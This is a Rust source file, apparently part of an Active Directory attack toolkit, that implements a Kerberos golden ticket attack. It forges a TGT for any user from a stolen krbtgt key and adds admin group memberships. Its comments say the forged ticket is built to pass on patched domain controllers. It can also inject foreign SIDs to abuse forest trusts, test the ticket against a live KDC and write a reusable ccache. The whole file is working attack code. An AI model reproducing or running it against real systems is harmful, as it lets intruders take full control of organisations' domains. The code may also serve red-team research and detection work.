1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
//! Golden ticket: forge a TGT for any identity with the krbtgt AES256 key.
//! Sealed + double-signed so fully-patched (KB5020805) KDCs still accept it.
use anyhow::{Context, Result};
use clap::Parser;
#[derive(Parser)]
pub(crate) struct GoldenArgs {
/// KDC host or IP.
#[arg(long)]
pub kdc: String,
/// Kerberos realm (e.g. CORP.LOCAL).
#[arg(long)]
pub realm: String,
/// krbtgt key: AES256 (64 hex) by default, or the RC4/NT hash (32 hex) with --rc4.
#[arg(long)]
pub krbtgt_aes256: String,
/// Forge an RC4-HMAC (etype 23) ticket — interpret the key as the krbtgt NT hash (legacy DCs).
#[arg(long)]
pub rc4: bool,
/// Domain SID (S-1-5-21-a-b-c).
#[arg(long)]
pub domain_sid: String,
/// Identity to impersonate (default Administrator).
#[arg(long, default_value = "Administrator")]
pub user: String,
/// RID of the impersonated account (default 500).
#[arg(long, default_value_t = 500)]
pub rid: u32,
/// Group RIDs to embed (default: Users + Domain/Schema/Enterprise Admins + GPO Creators).
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
pub groups: Vec<u32>,
/// Write the forged TGT to this ccache path.
#[arg(long)]
pub out: Option<String>,
/// Optional live acceptance proof: request a service ticket for this SPN with the forged TGT.
#[arg(long)]
pub verify_spn: Option<String>,
/// Foreign-forest SID(s) to inject into the PAC's SidHistory (ExtraSids field).
/// Format: full S-1-5-21-...-RID SID string. Repeat --foreign-sid or comma-separate for
/// multiple. On a trusting forest with SID filtering disabled (or misconfigured — e.g.
/// intra-forest child-domain trust where SIDHistory is NOT filtered), the KDC authorizes
/// as the injected principal without needing that forest's krbtgt.
#[arg(long, value_delimiter = ',')]
pub foreign_sid: Vec<String>,
}
/// Golden ticket: forge a TGT for an arbitrary identity, sealed + double-signed with the domain's
/// krbtgt AES256 key. Accepted by fully-patched (KB5020805) KDCs because the forged PAC carries a
/// valid KDC signature plus PAC_REQUESTOR/PAC_ATTRIBUTES.
pub(crate) async fn golden(a: GoldenArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = crate::parse_forge_key(&a.krbtgt_aes256, a.rc4)?;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
// Parse --foreign-sid values into sub-authority chains for the PAC's ExtraSids.
// Only identifier authority 5 (NT_AUTHORITY) is meaningful in KERB_VALIDATION_INFO
// ExtraSids — anything else is nonsense in an AD trust context.
let mut extras: Vec<Vec<u32>> = Vec::with_capacity(a.foreign_sid.len());
for sid_str in &a.foreign_sid {
let sid = adhammer_core::sid::Sid::parse(sid_str).ok_or_else(|| {
anyhow::anyhow!("--foreign-sid {sid_str:?} is not a valid SID (want S-1-5-21-...-RID)")
})?;
if sid.identifier_authority != 5 {
anyhow::bail!(
"--foreign-sid {sid_str} has identifier authority {} != 5; ExtraSids only \
accepts NT_AUTHORITY (S-1-5-...) forest/domain SIDs",
sid.identifier_authority
);
}
extras.push(sid.sub_authorities.clone());
}
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
extra_sids: extras,
};
if !a.foreign_sid.is_empty() {
println!(
"[+] injecting {} foreign SID(s) into PAC ExtraSids:",
a.foreign_sid.len()
);
for s in &a.foreign_sid {
println!(" {s}");
}
}
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
println!(
"[+] forged golden TGT: {}@{} (rid {}, groups {:?})",
a.user, a.realm, a.rid, a.groups
);
if let Some(spn) = &a.verify_spn {
match adhammer_kerberos::roast_spn(&tgt, &a.user, spn, &a.kdc).await {
Ok(_) => println!("[+] KDC accepted the golden ticket (TGS-REP for {spn})"),
Err(e) => println!("[-] KDC rejected the golden ticket for {spn}: {e}"),
}
}
if let Some(out) = &a.out {
let cc = adhammer_kerberos::golden_ccache(&tgt, &a.user)?;
std::fs::write(out, &cc)?;
println!(
"[+] wrote ccache → {out} ({} bytes). Use: KRB5CCNAME={out}",
cc.len()
);
}
Ok(())
}